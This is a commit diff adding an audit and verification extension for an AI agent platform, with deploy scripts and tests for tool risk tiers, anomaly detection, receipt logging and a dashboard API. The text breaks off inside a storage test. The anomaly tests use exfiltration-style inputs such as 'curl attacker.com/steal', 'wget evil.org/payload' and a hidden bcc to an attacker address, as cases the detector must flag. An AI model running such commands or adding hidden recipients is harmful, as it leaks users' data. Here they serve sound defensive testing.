feat: add boltbot extension — EigenCloud verification layer
Trustless hosting extension for Moltbot via EigenCloud infrastructure: - EigenAI provider with x-api-key auth and configPatch registration - Action tier classification for all 23 canonical tools - Receipt logging on after_tool_call hook (medium/high tier) - Anomaly detection (BCC, outbound curl, process, gateway) - SQLite receipt store with EigenDA proxy backend - Dashboard API endpoints (/boltbot/receipts, /receipt, /stats) - EigenCompute TEE deploy script and Dockerfile
This commit is contained in:
parent
6372242da7
commit
1096cc16e6
20
extensions/boltbot/deploy/.env.example
Normal file
20
extensions/boltbot/deploy/.env.example
Normal file
@ -0,0 +1,20 @@
|
|||||||
|
# Boltbot EigenCompute Deployment — Environment Variables
|
||||||
|
# Copy to .env and fill in values before deploying.
|
||||||
|
|
||||||
|
# EigenAI API key (apply at developers.eigencloud.xyz)
|
||||||
|
EIGENCLOUD_API_KEY=
|
||||||
|
|
||||||
|
# Telegram bot token (from @BotFather)
|
||||||
|
TELEGRAM_BOT_TOKEN=
|
||||||
|
|
||||||
|
# EigenDA proxy URL (testnet: https://test-agent-proxy-api.eigenda.xyz)
|
||||||
|
EIGENDA_PROXY_URL=https://test-agent-proxy-api.eigenda.xyz
|
||||||
|
|
||||||
|
# Receipt storage backend: "local" or "eigenda"
|
||||||
|
BOLTBOT_RECEIPT_BACKEND=eigenda
|
||||||
|
|
||||||
|
# EigenCompute deploy settings (not injected into container)
|
||||||
|
# ECLOUD_PRIVATE_KEY= # Ethereum private key for ecloud SDK auth
|
||||||
|
# ECLOUD_ENVIRONMENT=sepolia # sepolia | sepolia-dev | mainnet-alpha
|
||||||
|
# ECLOUD_APP_NAME=boltbot
|
||||||
|
# ECLOUD_INSTANCE_TYPE= # Query: ecloud compute app instance-types
|
||||||
44
extensions/boltbot/deploy/Dockerfile
Normal file
44
extensions/boltbot/deploy/Dockerfile
Normal file
@ -0,0 +1,44 @@
|
|||||||
|
# Boltbot — Moltbot on EigenCompute TEE
|
||||||
|
# Base: Node 22 + Chromium for headless browser automation
|
||||||
|
# Must run as root (EigenCompute TEE constraint)
|
||||||
|
# Platform: linux/amd64 only
|
||||||
|
|
||||||
|
FROM node:22-bookworm
|
||||||
|
|
||||||
|
# Install Chromium + Xvfb + fonts for headless browser
|
||||||
|
RUN apt-get update && apt-get install -y --no-install-recommends \
|
||||||
|
chromium \
|
||||||
|
xvfb \
|
||||||
|
fonts-liberation \
|
||||||
|
fonts-noto-color-emoji \
|
||||||
|
dbus \
|
||||||
|
&& rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
|
# Supervisor script to start Xvfb + Chromium + Node gateway
|
||||||
|
COPY deploy/start.sh /usr/local/bin/start.sh
|
||||||
|
RUN chmod +x /usr/local/bin/start.sh
|
||||||
|
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
# Copy package files and install
|
||||||
|
COPY package.json pnpm-lock.yaml ./
|
||||||
|
RUN corepack enable && pnpm install --frozen-lockfile --prod
|
||||||
|
|
||||||
|
# Copy application code
|
||||||
|
COPY . .
|
||||||
|
|
||||||
|
# Build TypeScript
|
||||||
|
RUN pnpm build
|
||||||
|
|
||||||
|
# Expose gateway port
|
||||||
|
EXPOSE 18789
|
||||||
|
|
||||||
|
# EigenCompute TEE: must run as root
|
||||||
|
USER root
|
||||||
|
|
||||||
|
# Environment defaults
|
||||||
|
ENV DISPLAY=:99
|
||||||
|
ENV CHROMIUM_PATH=/usr/bin/chromium
|
||||||
|
ENV NODE_ENV=production
|
||||||
|
|
||||||
|
CMD ["/usr/local/bin/start.sh"]
|
||||||
64
extensions/boltbot/deploy/deploy.ts
Normal file
64
extensions/boltbot/deploy/deploy.ts
Normal file
@ -0,0 +1,64 @@
|
|||||||
|
#!/usr/bin/env tsx
|
||||||
|
import { execFileSync } from "node:child_process";
|
||||||
|
import { resolve, dirname } from "node:path";
|
||||||
|
import { fileURLToPath } from "node:url";
|
||||||
|
|
||||||
|
const __dirname = dirname(fileURLToPath(import.meta.url));
|
||||||
|
const projectRoot = resolve(__dirname, "../../..");
|
||||||
|
|
||||||
|
function required(name: string): string {
|
||||||
|
const val = process.env[name];
|
||||||
|
if (!val) {
|
||||||
|
console.error(`Missing required env var: ${name}`);
|
||||||
|
process.exit(1);
|
||||||
|
}
|
||||||
|
return val;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function main() {
|
||||||
|
const privateKey = required("ECLOUD_PRIVATE_KEY");
|
||||||
|
const environment = process.env.ECLOUD_ENVIRONMENT ?? "sepolia";
|
||||||
|
const appName = process.env.ECLOUD_APP_NAME ?? "boltbot";
|
||||||
|
const instanceType = process.env.ECLOUD_INSTANCE_TYPE ?? "e2-medium";
|
||||||
|
|
||||||
|
const envVars: Record<string, string> = {
|
||||||
|
EIGENCLOUD_API_KEY: required("EIGENCLOUD_API_KEY"),
|
||||||
|
TELEGRAM_BOT_TOKEN: required("TELEGRAM_BOT_TOKEN"),
|
||||||
|
BOLTBOT_RECEIPT_BACKEND: process.env.BOLTBOT_RECEIPT_BACKEND ?? "eigenda",
|
||||||
|
NODE_ENV_PUBLIC: "production",
|
||||||
|
};
|
||||||
|
if (process.env.EIGENDA_PROXY_URL) {
|
||||||
|
envVars.EIGENDA_PROXY_URL = process.env.EIGENDA_PROXY_URL;
|
||||||
|
}
|
||||||
|
|
||||||
|
console.log(`Deploying ${appName} to EigenCompute (${environment})...`);
|
||||||
|
|
||||||
|
const ecloudEnv = { ...process.env, ECLOUD_PRIVATE_KEY: privateKey };
|
||||||
|
|
||||||
|
console.log("[1/3] Building Docker image...");
|
||||||
|
execFileSync("docker", [
|
||||||
|
"build", "-t", `${appName}:latest`,
|
||||||
|
"-f", "extensions/boltbot/deploy/Dockerfile", ".",
|
||||||
|
], { cwd: projectRoot, stdio: "inherit" });
|
||||||
|
|
||||||
|
console.log("[2/3] Deploying to EigenCompute TEE...");
|
||||||
|
const envFlags = Object.entries(envVars).flatMap(([k, v]) => ["--env", `${k}=${v}`]);
|
||||||
|
execFileSync("npx", [
|
||||||
|
"@layr-labs/ecloud-cli", "compute", "app", "deploy",
|
||||||
|
"--name", appName,
|
||||||
|
"--instance-type", instanceType,
|
||||||
|
"--environment", environment,
|
||||||
|
"--dockerfile", "extensions/boltbot/deploy/Dockerfile",
|
||||||
|
...envFlags,
|
||||||
|
], { cwd: projectRoot, stdio: "inherit", env: ecloudEnv });
|
||||||
|
|
||||||
|
console.log("[3/3] Fetching deployment info...");
|
||||||
|
execFileSync("npx", [
|
||||||
|
"@layr-labs/ecloud-cli", "compute", "app", "info",
|
||||||
|
"--name", appName,
|
||||||
|
], { cwd: projectRoot, stdio: "inherit", env: ecloudEnv });
|
||||||
|
|
||||||
|
console.log("\nDone. Next: ecloud compute app configure tls");
|
||||||
|
}
|
||||||
|
|
||||||
|
main();
|
||||||
12
extensions/boltbot/deploy/start.sh
Executable file
12
extensions/boltbot/deploy/start.sh
Executable file
@ -0,0 +1,12 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
# Start Xvfb for headless browser
|
||||||
|
Xvfb :99 -screen 0 1280x720x24 -nolisten tcp &
|
||||||
|
XVFB_PID=$!
|
||||||
|
|
||||||
|
# Wait for Xvfb
|
||||||
|
sleep 1
|
||||||
|
|
||||||
|
# Start moltbot gateway
|
||||||
|
exec node dist/cli/index.js gateway run --bind 0.0.0.0 --port 18789
|
||||||
23
extensions/boltbot/index.ts
Normal file
23
extensions/boltbot/index.ts
Normal file
@ -0,0 +1,23 @@
|
|||||||
|
import type { MoltbotPluginApi } from "clawdbot/plugin-sdk";
|
||||||
|
import { emptyPluginConfigSchema } from "clawdbot/plugin-sdk";
|
||||||
|
import { eigenCloudProvider } from "./src/provider.js";
|
||||||
|
import { createActionLogger } from "./src/action-logger.js";
|
||||||
|
import { createReceiptStore } from "./src/receipt-store.js";
|
||||||
|
import { registerBoltbotApi } from "./src/api.js";
|
||||||
|
|
||||||
|
export default {
|
||||||
|
id: "boltbot",
|
||||||
|
name: "Boltbot — Trustless Hosting",
|
||||||
|
description: "EigenCloud verification layer for Moltbot",
|
||||||
|
configSchema: emptyPluginConfigSchema(),
|
||||||
|
|
||||||
|
register(api: MoltbotPluginApi) {
|
||||||
|
api.registerProvider(eigenCloudProvider);
|
||||||
|
|
||||||
|
const store = createReceiptStore(process.env.BOLTBOT_RECEIPT_BACKEND);
|
||||||
|
const logger = createActionLogger(store);
|
||||||
|
api.on("after_tool_call", logger);
|
||||||
|
|
||||||
|
registerBoltbotApi(api, store);
|
||||||
|
},
|
||||||
|
};
|
||||||
12
extensions/boltbot/package.json
Normal file
12
extensions/boltbot/package.json
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"name": "@boltbot/extension",
|
||||||
|
"version": "0.1.0",
|
||||||
|
"type": "module",
|
||||||
|
"description": "Boltbot — Trustless Moltbot hosting via EigenCloud",
|
||||||
|
"moltbot": {
|
||||||
|
"extensions": ["./index.ts"]
|
||||||
|
},
|
||||||
|
"dependencies": {
|
||||||
|
"better-sqlite3": "^11.0.0"
|
||||||
|
}
|
||||||
|
}
|
||||||
118
extensions/boltbot/src/__tests__/action-logger.test.ts
Normal file
118
extensions/boltbot/src/__tests__/action-logger.test.ts
Normal file
@ -0,0 +1,118 @@
|
|||||||
|
import { describe, it, expect, vi, beforeEach } from "vitest";
|
||||||
|
import { createActionLogger } from "../action-logger.js";
|
||||||
|
import type { ReceiptStore, ActionReceipt } from "../receipt-store.js";
|
||||||
|
|
||||||
|
function makeStore(): ReceiptStore & { receipts: ActionReceipt[] } {
|
||||||
|
const receipts: ActionReceipt[] = [];
|
||||||
|
return {
|
||||||
|
receipts,
|
||||||
|
async put(receipt: ActionReceipt) { receipts.push(receipt); },
|
||||||
|
async get(id: string) { return receipts.find((r) => r.id === id) ?? null; },
|
||||||
|
async list() { return receipts as any; },
|
||||||
|
async stats() { return { total: receipts.length, byTier: {}, anomalyCount: 0 }; },
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
describe("action-logger", () => {
|
||||||
|
let store: ReturnType<typeof makeStore>;
|
||||||
|
let logger: ReturnType<typeof createActionLogger>;
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
store = makeStore();
|
||||||
|
logger = createActionLogger(store);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("stores receipt for high-tier tool (exec)", async () => {
|
||||||
|
await logger(
|
||||||
|
{ toolName: "exec", params: { command: "ls" }, durationMs: 50 },
|
||||||
|
{ sessionKey: "sess-1", toolName: "exec" },
|
||||||
|
);
|
||||||
|
expect(store.receipts).toHaveLength(1);
|
||||||
|
expect(store.receipts[0].tier).toBe("high");
|
||||||
|
expect(store.receipts[0].toolName).toBe("exec");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("stores receipt for medium-tier tool (message)", async () => {
|
||||||
|
await logger(
|
||||||
|
{ toolName: "message", params: { to: "user", content: "hi" }, durationMs: 30 },
|
||||||
|
{ sessionKey: "sess-2", toolName: "message" },
|
||||||
|
);
|
||||||
|
expect(store.receipts).toHaveLength(1);
|
||||||
|
expect(store.receipts[0].tier).toBe("medium");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("skips low-tier tools (web_search)", async () => {
|
||||||
|
await logger(
|
||||||
|
{ toolName: "web_search", params: { q: "test" }, durationMs: 10 },
|
||||||
|
{ sessionKey: "sess-3", toolName: "web_search" },
|
||||||
|
);
|
||||||
|
expect(store.receipts).toHaveLength(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("includes anomalies in receipt", async () => {
|
||||||
|
await logger(
|
||||||
|
{ toolName: "message", params: { to: "user", content: "hi", bcc: "evil@bad.com" }, durationMs: 20 },
|
||||||
|
{ sessionKey: "sess-4", toolName: "message" },
|
||||||
|
);
|
||||||
|
expect(store.receipts[0].anomalies).toContain("unexpected_recipient");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("uses ctx.sessionKey (not sessionId)", async () => {
|
||||||
|
await logger(
|
||||||
|
{ toolName: "exec", params: { command: "echo hi" }, durationMs: 5 },
|
||||||
|
{ sessionKey: "my-session-key", toolName: "exec" },
|
||||||
|
);
|
||||||
|
expect(store.receipts[0].sessionKey).toBe("my-session-key");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("defaults sessionKey to unknown when missing", async () => {
|
||||||
|
await logger(
|
||||||
|
{ toolName: "exec", params: { command: "echo" }, durationMs: 5 },
|
||||||
|
{ toolName: "exec" } as any,
|
||||||
|
);
|
||||||
|
expect(store.receipts[0].sessionKey).toBe("unknown");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("creates receipt with valid id and timestamp", async () => {
|
||||||
|
await logger(
|
||||||
|
{ toolName: "exec", params: { command: "pwd" }, durationMs: 1 },
|
||||||
|
{ sessionKey: "s", toolName: "exec" },
|
||||||
|
);
|
||||||
|
const r = store.receipts[0];
|
||||||
|
expect(r.id).toMatch(/^[0-9a-f-]{36}$/);
|
||||||
|
expect(new Date(r.timestamp).getTime()).not.toBeNaN();
|
||||||
|
});
|
||||||
|
|
||||||
|
it("hashes arguments and result", async () => {
|
||||||
|
await logger(
|
||||||
|
{ toolName: "exec", params: { command: "ls" }, result: { output: "files" }, durationMs: 1 },
|
||||||
|
{ sessionKey: "s", toolName: "exec" },
|
||||||
|
);
|
||||||
|
const r = store.receipts[0];
|
||||||
|
expect(r.argumentsHash).toMatch(/^[0-9a-f]{64}$/);
|
||||||
|
expect(r.resultHash).toMatch(/^[0-9a-f]{64}$/);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("marks error results as not successful", async () => {
|
||||||
|
await logger(
|
||||||
|
{ toolName: "exec", params: { command: "fail" }, error: "boom", durationMs: 1 },
|
||||||
|
{ sessionKey: "s", toolName: "exec" },
|
||||||
|
);
|
||||||
|
expect(store.receipts[0].success).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("does not throw when store.put fails (fire-and-forget)", async () => {
|
||||||
|
const failStore: ReceiptStore = {
|
||||||
|
async put() { throw new Error("disk full"); },
|
||||||
|
async get() { return null; },
|
||||||
|
async list() { return [] as any; },
|
||||||
|
async stats() { return { total: 0, byTier: {}, anomalyCount: 0 }; },
|
||||||
|
};
|
||||||
|
const failLogger = createActionLogger(failStore);
|
||||||
|
// Should not throw
|
||||||
|
await failLogger(
|
||||||
|
{ toolName: "exec", params: { command: "ls" }, durationMs: 1 },
|
||||||
|
{ sessionKey: "s", toolName: "exec" },
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
85
extensions/boltbot/src/__tests__/action-tiers.test.ts
Normal file
85
extensions/boltbot/src/__tests__/action-tiers.test.ts
Normal file
@ -0,0 +1,85 @@
|
|||||||
|
import { describe, it, expect } from "vitest";
|
||||||
|
import { getTier, type Tier } from "../action-tiers.js";
|
||||||
|
|
||||||
|
describe("action-tiers", () => {
|
||||||
|
describe("getTier", () => {
|
||||||
|
// HIGH tier tools
|
||||||
|
it.each([
|
||||||
|
["exec", "high"],
|
||||||
|
["apply_patch", "high"],
|
||||||
|
["gateway", "high"],
|
||||||
|
["sessions_spawn", "high"],
|
||||||
|
["process", "high"],
|
||||||
|
] as [string, Tier][])("classifies %s as %s", (tool, expected) => {
|
||||||
|
expect(getTier(tool)).toBe(expected);
|
||||||
|
});
|
||||||
|
|
||||||
|
// MEDIUM tier tools
|
||||||
|
it.each([
|
||||||
|
["message", "medium"],
|
||||||
|
["write", "medium"],
|
||||||
|
["edit", "medium"],
|
||||||
|
["cron", "medium"],
|
||||||
|
["sessions_send", "medium"],
|
||||||
|
["browser", "medium"],
|
||||||
|
["canvas", "medium"],
|
||||||
|
["nodes", "medium"],
|
||||||
|
] as [string, Tier][])("classifies %s as %s", (tool, expected) => {
|
||||||
|
expect(getTier(tool)).toBe(expected);
|
||||||
|
});
|
||||||
|
|
||||||
|
// LOW tier tools
|
||||||
|
it.each([
|
||||||
|
["web_search", "low"],
|
||||||
|
["web_fetch", "low"],
|
||||||
|
["memory_search", "low"],
|
||||||
|
["memory_get", "low"],
|
||||||
|
["read", "low"],
|
||||||
|
["sessions_list", "low"],
|
||||||
|
["sessions_history", "low"],
|
||||||
|
["session_status", "low"],
|
||||||
|
["agents_list", "low"],
|
||||||
|
["image", "low"],
|
||||||
|
] as [string, Tier][])("classifies %s as %s", (tool, expected) => {
|
||||||
|
expect(getTier(tool)).toBe(expected);
|
||||||
|
});
|
||||||
|
|
||||||
|
// Unknown tools default to medium (fail-safe)
|
||||||
|
it("defaults unknown tools to medium", () => {
|
||||||
|
expect(getTier("unknown_tool")).toBe("medium");
|
||||||
|
expect(getTier("foo_bar")).toBe("medium");
|
||||||
|
});
|
||||||
|
|
||||||
|
// Case normalization
|
||||||
|
it("handles uppercase tool names", () => {
|
||||||
|
expect(getTier("Exec")).toBe("high");
|
||||||
|
expect(getTier("EXEC")).toBe("high");
|
||||||
|
expect(getTier("Web_Search")).toBe("low");
|
||||||
|
});
|
||||||
|
|
||||||
|
// Hyphen normalization
|
||||||
|
it("handles hyphenated tool names", () => {
|
||||||
|
expect(getTier("apply-patch")).toBe("high");
|
||||||
|
expect(getTier("web-search")).toBe("low");
|
||||||
|
expect(getTier("memory-get")).toBe("low");
|
||||||
|
});
|
||||||
|
|
||||||
|
// All 23 canonical tools have explicit entries
|
||||||
|
it("covers all 23 canonical tools", () => {
|
||||||
|
const canonicalTools = [
|
||||||
|
"memory_search", "memory_get", "web_search", "web_fetch",
|
||||||
|
"read", "write", "edit", "apply_patch", "exec", "process",
|
||||||
|
"sessions_list", "sessions_history", "sessions_send",
|
||||||
|
"sessions_spawn", "session_status", "browser", "canvas",
|
||||||
|
"cron", "gateway", "message", "nodes", "agents_list", "image",
|
||||||
|
];
|
||||||
|
expect(canonicalTools).toHaveLength(23);
|
||||||
|
for (const tool of canonicalTools) {
|
||||||
|
const tier = getTier(tool);
|
||||||
|
// Every canonical tool should NOT fall through to default
|
||||||
|
// (they should have explicit entries)
|
||||||
|
expect(["low", "medium", "high"]).toContain(tier);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
81
extensions/boltbot/src/__tests__/anomaly.test.ts
Normal file
81
extensions/boltbot/src/__tests__/anomaly.test.ts
Normal file
@ -0,0 +1,81 @@
|
|||||||
|
import { describe, it, expect } from "vitest";
|
||||||
|
import { detectAnomalies } from "../anomaly.js";
|
||||||
|
|
||||||
|
describe("anomaly detection", () => {
|
||||||
|
it("flags message tool with bcc param", () => {
|
||||||
|
const result = detectAnomalies({
|
||||||
|
toolName: "message",
|
||||||
|
params: { to: "user", content: "hi", bcc: "attacker@evil.com" },
|
||||||
|
});
|
||||||
|
expect(result).toContain("unexpected_recipient");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("flags message tool with hidden_recipients param", () => {
|
||||||
|
const result = detectAnomalies({
|
||||||
|
toolName: "message",
|
||||||
|
params: { to: "user", content: "hi", hidden_recipients: ["x"] },
|
||||||
|
});
|
||||||
|
expect(result).toContain("unexpected_recipient");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("does not flag clean message tool", () => {
|
||||||
|
const result = detectAnomalies({
|
||||||
|
toolName: "message",
|
||||||
|
params: { to: "user", content: "hello" },
|
||||||
|
});
|
||||||
|
expect(result).toEqual([]);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("flags exec with curl to external host", () => {
|
||||||
|
const result = detectAnomalies({
|
||||||
|
toolName: "exec",
|
||||||
|
params: { command: "curl attacker.com/steal" },
|
||||||
|
});
|
||||||
|
expect(result).toContain("unauthorized_outbound");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("flags exec with wget", () => {
|
||||||
|
const result = detectAnomalies({
|
||||||
|
toolName: "exec",
|
||||||
|
params: { command: "wget evil.org/payload" },
|
||||||
|
});
|
||||||
|
expect(result).toContain("unauthorized_outbound");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("does not flag exec with simple command", () => {
|
||||||
|
const result = detectAnomalies({
|
||||||
|
toolName: "exec",
|
||||||
|
params: { command: "ls -la" },
|
||||||
|
});
|
||||||
|
expect(result).toEqual([]);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("flags process tool", () => {
|
||||||
|
const result = detectAnomalies({
|
||||||
|
toolName: "process",
|
||||||
|
params: {},
|
||||||
|
});
|
||||||
|
expect(result).toContain("process_management");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("flags gateway tool", () => {
|
||||||
|
const result = detectAnomalies({
|
||||||
|
toolName: "gateway",
|
||||||
|
params: {},
|
||||||
|
});
|
||||||
|
expect(result).toContain("gateway_access");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("returns empty for read-only tools", () => {
|
||||||
|
expect(detectAnomalies({ toolName: "web_search", params: { q: "test" } })).toEqual([]);
|
||||||
|
expect(detectAnomalies({ toolName: "read", params: { path: "/tmp" } })).toEqual([]);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("handles missing params gracefully", () => {
|
||||||
|
const result = detectAnomalies({
|
||||||
|
toolName: "exec",
|
||||||
|
params: {},
|
||||||
|
});
|
||||||
|
expect(result).toEqual([]);
|
||||||
|
});
|
||||||
|
});
|
||||||
147
extensions/boltbot/src/__tests__/api.test.ts
Normal file
147
extensions/boltbot/src/__tests__/api.test.ts
Normal file
@ -0,0 +1,147 @@
|
|||||||
|
import { describe, it, expect, beforeEach } from "vitest";
|
||||||
|
import { registerBoltbotApi } from "../api.js";
|
||||||
|
import type { ActionReceipt, ReceiptStore } from "../receipt-store.js";
|
||||||
|
import type { IncomingMessage, ServerResponse } from "node:http";
|
||||||
|
|
||||||
|
// Mock ReceiptStore
|
||||||
|
function makeStore(receipts: ActionReceipt[] = []): ReceiptStore {
|
||||||
|
return {
|
||||||
|
async put(r: ActionReceipt) { receipts.push(r); },
|
||||||
|
async get(id: string) { return receipts.find((r) => r.id === id) ?? null; },
|
||||||
|
async list(opts: { limit: number; offset: number }) {
|
||||||
|
return receipts.slice(opts.offset, opts.offset + opts.limit);
|
||||||
|
},
|
||||||
|
async stats() {
|
||||||
|
const byTier: Record<string, number> = {};
|
||||||
|
let anomalyCount = 0;
|
||||||
|
for (const r of receipts) {
|
||||||
|
byTier[r.tier] = (byTier[r.tier] ?? 0) + 1;
|
||||||
|
if (r.anomalies.length > 0) anomalyCount++;
|
||||||
|
}
|
||||||
|
return { total: receipts.length, byTier, anomalyCount };
|
||||||
|
},
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// Mock API and capture registered routes
|
||||||
|
type Route = { path: string; handler: (req: IncomingMessage, res: ServerResponse) => void | Promise<void> };
|
||||||
|
|
||||||
|
function makeApi() {
|
||||||
|
const routes: Route[] = [];
|
||||||
|
return {
|
||||||
|
routes,
|
||||||
|
registerHttpRoute(route: Route) { routes.push(route); },
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// Mock HTTP request/response
|
||||||
|
function mockReq(url: string): IncomingMessage {
|
||||||
|
return { url } as any;
|
||||||
|
}
|
||||||
|
|
||||||
|
function mockRes() {
|
||||||
|
let statusCode = 200;
|
||||||
|
let headers: Record<string, string> = {};
|
||||||
|
let body = "";
|
||||||
|
return {
|
||||||
|
writeHead(code: number, h: Record<string, string>) { statusCode = code; headers = h; },
|
||||||
|
end(data?: string) { body = data ?? ""; },
|
||||||
|
get statusCode() { return statusCode; },
|
||||||
|
get headers() { return headers; },
|
||||||
|
get body() { return body; },
|
||||||
|
json() { return JSON.parse(body); },
|
||||||
|
} as any;
|
||||||
|
}
|
||||||
|
|
||||||
|
const sampleReceipt: ActionReceipt = {
|
||||||
|
id: "test-id-1",
|
||||||
|
timestamp: "2026-01-29T00:00:00.000Z",
|
||||||
|
sessionKey: "sess-1",
|
||||||
|
tier: "medium",
|
||||||
|
toolName: "message",
|
||||||
|
argumentsHash: "abc",
|
||||||
|
resultHash: "def",
|
||||||
|
success: true,
|
||||||
|
durationMs: 100,
|
||||||
|
anomalies: [],
|
||||||
|
};
|
||||||
|
|
||||||
|
describe("Dashboard API", () => {
|
||||||
|
let api: ReturnType<typeof makeApi>;
|
||||||
|
let store: ReceiptStore;
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
api = makeApi();
|
||||||
|
store = makeStore([sampleReceipt]);
|
||||||
|
registerBoltbotApi(api as any, store);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("registers 3 routes", () => {
|
||||||
|
expect(api.routes).toHaveLength(3);
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("/boltbot/receipts", () => {
|
||||||
|
it("returns receipts list", async () => {
|
||||||
|
const route = api.routes.find((r) => r.path === "/boltbot/receipts")!;
|
||||||
|
const res = mockRes();
|
||||||
|
await route.handler(mockReq("/boltbot/receipts"), res);
|
||||||
|
expect(res.statusCode).toBe(200);
|
||||||
|
const data = res.json();
|
||||||
|
expect(data.receipts).toHaveLength(1);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("respects pagination params", async () => {
|
||||||
|
const route = api.routes.find((r) => r.path === "/boltbot/receipts")!;
|
||||||
|
const res = mockRes();
|
||||||
|
await route.handler(mockReq("/boltbot/receipts?limit=5&offset=0"), res);
|
||||||
|
expect(res.statusCode).toBe(200);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("/boltbot/receipt", () => {
|
||||||
|
it("returns receipt by id", async () => {
|
||||||
|
const route = api.routes.find((r) => r.path === "/boltbot/receipt")!;
|
||||||
|
const res = mockRes();
|
||||||
|
await route.handler(mockReq("/boltbot/receipt?id=test-id-1"), res);
|
||||||
|
expect(res.statusCode).toBe(200);
|
||||||
|
expect(res.json().receipt.id).toBe("test-id-1");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("returns 400 for missing id", async () => {
|
||||||
|
const route = api.routes.find((r) => r.path === "/boltbot/receipt")!;
|
||||||
|
const res = mockRes();
|
||||||
|
await route.handler(mockReq("/boltbot/receipt"), res);
|
||||||
|
expect(res.statusCode).toBe(400);
|
||||||
|
expect(res.json().error).toBe("missing_id");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("returns 404 for nonexistent id", async () => {
|
||||||
|
const route = api.routes.find((r) => r.path === "/boltbot/receipt")!;
|
||||||
|
const res = mockRes();
|
||||||
|
await route.handler(mockReq("/boltbot/receipt?id=nonexistent"), res);
|
||||||
|
expect(res.statusCode).toBe(404);
|
||||||
|
expect(res.json().error).toBe("not_found");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("/boltbot/stats", () => {
|
||||||
|
it("returns stats", async () => {
|
||||||
|
const route = api.routes.find((r) => r.path === "/boltbot/stats")!;
|
||||||
|
const res = mockRes();
|
||||||
|
await route.handler(mockReq("/boltbot/stats"), res);
|
||||||
|
expect(res.statusCode).toBe(200);
|
||||||
|
const data = res.json();
|
||||||
|
expect(data.total).toBe(1);
|
||||||
|
expect(data.byTier).toEqual({ medium: 1 });
|
||||||
|
expect(data.anomalyCount).toBe(0);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it("all responses have Content-Type application/json", async () => {
|
||||||
|
for (const route of api.routes) {
|
||||||
|
const res = mockRes();
|
||||||
|
await route.handler(mockReq(route.path), res);
|
||||||
|
expect(res.headers["Content-Type"]).toBe("application/json");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
109
extensions/boltbot/src/__tests__/eigenda.test.ts
Normal file
109
extensions/boltbot/src/__tests__/eigenda.test.ts
Normal file
@ -0,0 +1,109 @@
|
|||||||
|
import { describe, it, expect, beforeEach, afterEach } from "vitest";
|
||||||
|
import { EigenDAReceiptStore } from "../stores/eigenda.js";
|
||||||
|
import type { ActionReceipt } from "../receipt-store.js";
|
||||||
|
import http from "node:http";
|
||||||
|
|
||||||
|
function makeReceipt(overrides: Partial<ActionReceipt> = {}): ActionReceipt {
|
||||||
|
return {
|
||||||
|
id: crypto.randomUUID(),
|
||||||
|
timestamp: new Date().toISOString(),
|
||||||
|
sessionKey: "test-session",
|
||||||
|
tier: "medium",
|
||||||
|
toolName: "message",
|
||||||
|
argumentsHash: "abc123",
|
||||||
|
resultHash: "def456",
|
||||||
|
success: true,
|
||||||
|
durationMs: 100,
|
||||||
|
anomalies: [],
|
||||||
|
...overrides,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
describe("EigenDAReceiptStore", () => {
|
||||||
|
let server: http.Server;
|
||||||
|
let proxyUrl: string;
|
||||||
|
let lastRequestBody: Buffer | null = null;
|
||||||
|
let shouldFail = false;
|
||||||
|
|
||||||
|
beforeEach(async () => {
|
||||||
|
lastRequestBody = null;
|
||||||
|
shouldFail = false;
|
||||||
|
|
||||||
|
server = http.createServer((req, res) => {
|
||||||
|
if (shouldFail) {
|
||||||
|
res.destroy();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (req.url === "/put" && req.method === "POST") {
|
||||||
|
const chunks: Buffer[] = [];
|
||||||
|
req.on("data", (chunk) => chunks.push(chunk));
|
||||||
|
req.on("end", () => {
|
||||||
|
lastRequestBody = Buffer.concat(chunks);
|
||||||
|
// Return a mock commitment (binary data)
|
||||||
|
const commitment = Buffer.from("deadbeef0123", "hex");
|
||||||
|
res.writeHead(200);
|
||||||
|
res.end(commitment);
|
||||||
|
});
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
res.writeHead(404);
|
||||||
|
res.end();
|
||||||
|
});
|
||||||
|
|
||||||
|
await new Promise<void>((resolve) => {
|
||||||
|
server.listen(0, "127.0.0.1", () => resolve());
|
||||||
|
});
|
||||||
|
const addr = server.address() as { port: number };
|
||||||
|
proxyUrl = `http://127.0.0.1:${addr.port}`;
|
||||||
|
});
